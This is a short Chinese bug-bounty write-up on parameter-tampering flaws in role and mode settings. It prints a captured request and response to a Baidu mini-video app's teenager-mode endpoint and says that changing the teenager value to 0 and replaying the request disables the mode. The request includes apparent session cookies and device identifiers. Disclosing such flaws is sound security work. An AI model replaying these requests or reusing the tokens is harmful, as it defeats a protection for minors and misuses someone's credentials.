角色权限缺陷逻辑

0X01:漏洞点

在挖掘漏洞的时候，我们经常遇见一些带有角色权限的数据，比如家长，教师，学生，青少年等模式，这些往往都是一个参数来控制的，我们只需要抓包对参数进行分析，然后修改参数，进而绕过或者越权获取别人的权限。

0X02：案例

危害自评 中危

审核等级 低危

奖励安全币 10

附件 --

描述 在 app青少年模式设置处抓包：

```
POST /appui//appui/user/setteenagerinfo?tn=1008350q&ctn=
1008350q&imei=4E4F98BA-F28B-4A10-A2D3-833643202C0C&cuid=
3C27B1B8A2536AF970A9C358740A6962F8AE32C7A0SDTPPGNCG&os=ios&
osbranch=i0&ua=1080_1920_401&ut=iPhone12%2C5_14.8.1&uh=
A13%20Bionic&apiv=1.0.0.0&appv=1&version=3.4.5.10&life=
1638697576&clife=1638697576&sids=17183_1&hid=
92B05AA2B25FF01698438635AD34E753&idfa=
00000000-0000-0000-0000-000000000000&teenager=1&activity_ext
=&yyuser=1&log=vhk&net_type=1&network_state=20&api_name=
setteenagerinfo HTTP/2
Host:
Cookie: UZID=
krvcVT1TSzv53mpzje41eULsC5bpQNj08_PGKT95LXSkYiRiSy03-GrB0zck
0EE6s008RFV0a_g-mANC0ThfbSA; BAIDUCUID=
g8vGi1aQHt0uuviPg8S1t_uHSf15u2fz_av6ugPD280e0Sai_uSGilfsluJ6
93apt6-mA; SG_FW_VER=1.26.3; SP_FW_VER=3.230.38;
Hm_lvt_a42a9a9e9ea0c8ce010e90569767e0f4=
1638700853,1638714971,1638943784,1638950513; BDUSS=
zJ5VDhhQnhDSEJYc2JRbWYtd1d1cjJ0aXBMcU5WTWxhS2FUcWNUVTA3Uk10V
XRoRVFBQUFBJCQAAAAAAAAAAAEAAACwQb3yUnVpb25uAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EyoI2FMqCNhN; passtheme=dark; BAIDUID=
0010FFA13673595E26635F80F1B31993:FG=1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Referer: https://quanmin.baidu.com/
Content-Length: 66
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_8_1 like
Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)
Mobile/15E148 bdminivideo/3.4.5.10 (Baidu; P2
14.8.1)swan-bdminivideo
Accept-Language: zh-Hans;q=1
Accept-Encoding: gzip, deflate

teenagerPassword=4a7d1ed414474e4033ac29ccb8653d9b&
teenagerSwitch=0
```

```
HTTP/2 200 OK
Content-Type: application/json
Date: Thu, 09 Dec 2021 04:15:09 GMT
Edocecart: 09092011713214090627305027440120912
Server: BWS
Strict-Transport-Security: max-age=31536000
Traceid: 1639023309038737101806829546180539595479
Vary: Accept-Encoding
Content-Length: 167

{
  "timestamp":1639023309,
  "logid":"0909201171",
  "servLogin":true,
  "setteenagerinfo":{
    "status":0,
    "msg":"\u6210\u529f",
    "data":{
      "status":0,
      "msg":"\u8bbe\u7f6e\u6210\u529f"
    }
  }
}
```

然后改为0重放即可解除青少年模式，退出刷新即可